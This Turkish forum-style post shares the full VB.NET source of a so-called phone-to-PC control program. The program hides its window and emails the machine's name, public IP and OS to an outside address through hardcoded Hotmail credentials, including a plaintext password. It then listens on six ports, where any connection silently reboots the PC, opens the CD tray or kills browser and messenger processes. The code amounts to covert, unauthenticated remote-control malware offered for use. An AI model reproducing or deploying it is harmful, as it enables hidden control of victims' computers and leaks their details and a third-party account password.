Yaparken en çok eğlendiğim programdı belki de
Telefondan bilgisayar kontrol programı TWS zamanından kalma
Kod:
Imports System.Net, System.Web, System.IO, System.Net.Mail
Public Class Form1
Dim sun As New Net.WebClient
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vbtuş As Long) As Integer
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrcommand As String) As Long
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Try
mp.URL = (Application.StartupPath & "\atom.mp3")
Catch ex As Exception
End Try
Try
s23.Close()
s23.LocalPort = 2023
s23.Listen()
s24.Close()
s24.LocalPort = 2024
s24.Listen()
s25.Close()
s25.LocalPort = 2025
s25.Listen()
s26.Close()
s26.LocalPort = 2026
s26.Listen()
s27.Close()
s27.LocalPort = 2027
s27.Listen()
s28.Close()
s28.LocalPort = 2028
s28.Listen()
Catch ex As Exception
End Try
Try
ip.Text = sun.DownloadString("http://automation.whatismyip.com/n09230945.asp")
liste2.Items.Add("http://" & ip.Text & ":2023")
liste2.Items.Add("http://" & ip.Text & ":2024")
liste2.Items.Add("http://" & ip.Text & ":2025")
liste2.Items.Add("http://" & ip.Text & ":2026")
liste2.Items.Add("http://" & ip.Text & ":2027")
liste2.Items.Add("http://" & ip.Text & ":2028")
Catch ex As Exception
End Try
End Sub
Private Sub s23_CloseEvent(ByVal sender As Object, ByVal e As System.EventArgs) Handles s23.CloseEvent
Try
s23.Close()
s23.Listen()
Catch ex As Exception
End Try
End Sub
Private Sub s23_ConnectionRequest(ByVal sender As Object, ByVal p23 As AxMSWinsockLib.DMSWinsockControlEvents_ConnectionRequestEvent) Handles s23.ConnectionRequest
Try
s23.Close()
s23.Accept(p23.requestID)
Shell("shutdown -r -t 0", AppWinStyle.Hide)
Catch ex As Exception
End Try
End Sub
Private Sub s24_CloseEvent(ByVal sender As Object, ByVal e As System.EventArgs) Handles s24.CloseEvent
Try
s24.Close()
s24.Listen()
Catch ex As Exception
End Try
End Sub
Private Sub s24_ConnectionRequest(ByVal sender As Object, ByVal p24 As AxMSWinsockLib.DMSWinsockControlEvents_ConnectionRequestEvent) Handles s24.ConnectionRequest
Try
s24.Close()
s24.Accept(p24.requestID)
Shell("shutdown -r -t 0", AppWinStyle.Hide)
Catch ex As Exception
End Try
End Sub
Private Sub s25_CloseEvent(ByVal sender As Object, ByVal e As System.EventArgs) Handles s25.CloseEvent
Try
s25.Close()
s25.Listen()
Catch ex As Exception
End Try
End Sub
Private Sub s25_ConnectionRequest(ByVal sender As Object, ByVal p25 As AxMSWinsockLib.DMSWinsockControlEvents_ConnectionRequestEvent) Handles s25.ConnectionRequest
Try
s25.Close()
s25.Accept(p25.requestID)
mciExecute("Set CDAudio Door Open")
Catch ex As Exception
End Try
End Sub
Private Sub s26_CloseEvent(ByVal sender As Object, ByVal e As System.EventArgs) Handles s26.CloseEvent
Try
s26.Close()
s26.Listen()
Catch ex As Exception
End Try
End Sub
Private Sub s26_ConnectionRequest(ByVal sender As Object, ByVal p26 As AxMSWinsockLib.DMSWinsockControlEvents_ConnectionRequestEvent) Handles s26.ConnectionRequest
Try
s26.Close()
s26.Accept(p26.requestID)
mciExecute("Set CDAudio Door Closed")
Catch ex As Exception
End Try
End Sub
Private Sub s27_CloseEvent(ByVal sender As Object, ByVal e As System.EventArgs) Handles s27.CloseEvent
Try
s27.Close()
s27.Listen()
Catch ex As Exception
End Try
End Sub
Private Sub s27_ConnectionRequest(ByVal sender As Object, ByVal p27 As AxMSWinsockLib.DMSWinsockControlEvents_ConnectionRequestEvent) Handles s27.ConnectionRequest
Try
s27.Close()
s27.Accept(p27.requestID)
Shell("tskill msnmsgr", AppWinStyle.Hide)
Catch ex As Exception
End Try
End Sub
Private Sub s28_CloseEvent(ByVal sender As Object, ByVal e As System.EventArgs) Handles s28.CloseEvent
Try
s28.Close()
s28.Listen()
Catch ex As Exception
End Try
End Sub
Private Sub s28_ConnectionRequest(ByVal sender As Object, ByVal p28 As AxMSWinsockLib.DMSWinsockControlEvents_ConnectionRequestEvent) Handles s28.ConnectionRequest
Try
s28.Close()
s28.Accept(p28.requestID)
Shell("tskill iexplore", AppWinStyle.Hide)
Shell("tskill opera", AppWinStyle.Hide)
Shell("tskill chrome", AppWinStyle.Hide)
Shell("tskill firefox", AppWinStyle.Hide)
Catch ex As Exception
End Try
End Sub
Private Sub s23_Error(ByVal sender As Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_ErrorEvent) Handles s23.Error
Try
s23.Close()
s23.Listen()
Catch ex As Exception
End Try
End Sub
Private Sub s24_Error(ByVal sender As Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_ErrorEvent) Handles s24.Error
Try
s24.Close()
s24.Listen()
Catch ex As Exception
End Try
End Sub
Private Sub s25_Error(ByVal sender As Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_ErrorEvent) Handles s25.Error
Try
s25.Close()
s25.Listen()
Catch ex As Exception
End Try
End Sub
Private Sub s26_Error(ByVal sender As Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_ErrorEvent) Handles s26.Error
Try
s26.Close()
s26.Listen()
Catch ex As Exception
End Try
End Sub
Private Sub s27_Error(ByVal sender As Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_ErrorEvent) Handles s27.Error
Try
s27.Close()
s27.Listen()
Catch ex As Exception
End Try
End Sub
Private Sub s28_Error(ByVal sender As Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_ErrorEvent) Handles s28.Error
Try
s28.Close()
s28.Listen()
Catch ex As Exception
End Try
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Try
mp.Ctlcontrols.stop()
Timer1.Stop()
Timer1.Interval = 1
Timer1.Start()
Me.Opacity = 0%
Me.Visible = False
Dim mail As New MailMessage
Dim smtp As New SmtpClient
mail.From = New MailAddress("atomteamtht@hotmail.com")
mail.To.Add(adres.Text & ek.Text)
mail.Subject = My.Computer.Name & " Şu Anda Açıldı !"
mail.Body = "İsim: " & My.Computer.Name & vbNewLine & "İP Adresi: " & ip.Text & vbNewLine & "Durum: " & My.Computer.Clock.LocalTime & " İtibariyle Bilgisayar Açıldı !" & vbNewLine & "İşletim Sistemi: " & My.Computer.Info.OSFullName & vbNewLine
smtp.Port = 587
smtp.Host = "smtp.live.com"
smtp.Credentials = New Net.NetworkCredential("atomteamtht@hotmail.com", "pnseixeuxs")
smtp.EnableSsl = True
smtp.Send(mail)
Catch ex As Exception
End Try
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try
If GetAsyncKeyState(Keys.F12) Then
Me.Opacity = 100%
Me.Visible = True
mp.URL = (Application.StartupPath & "\atom.mp3")
End If
Catch ex As Exception
End Try
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Try
Me.Close()
Catch ex As Exception
End Try
End Sub
Private Sub TrackBar1_Scroll(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tb.Scroll
Try
mp.settings.volume = (tb.Value)
Catch ex As Exception
End Try
End Sub
Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ses.CheckedChanged
Try
If ses.Checked = True Then
mp.settings.mute = True
Else
mp.settings.mute = False
End If
Catch ex As Exception
End Try
End Sub
Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs)
Try
Process.Start("http://www.turkwebsecurity.net")
Catch ex As Exception
End Try
End Sub
Private Sub LinkLabel2_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel2.LinkClicked
Try
Process.Start("http://www.turkwebsecurity.net")
Catch ex As Exception
End Try
End Sub
Private Sub liste2_MouseDoubleClick(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles liste2.MouseDoubleClick
Try
wt.Navigate(liste2.SelectedItem)
Catch ex As Exception
End Try
End Sub
End Class
Class [/code]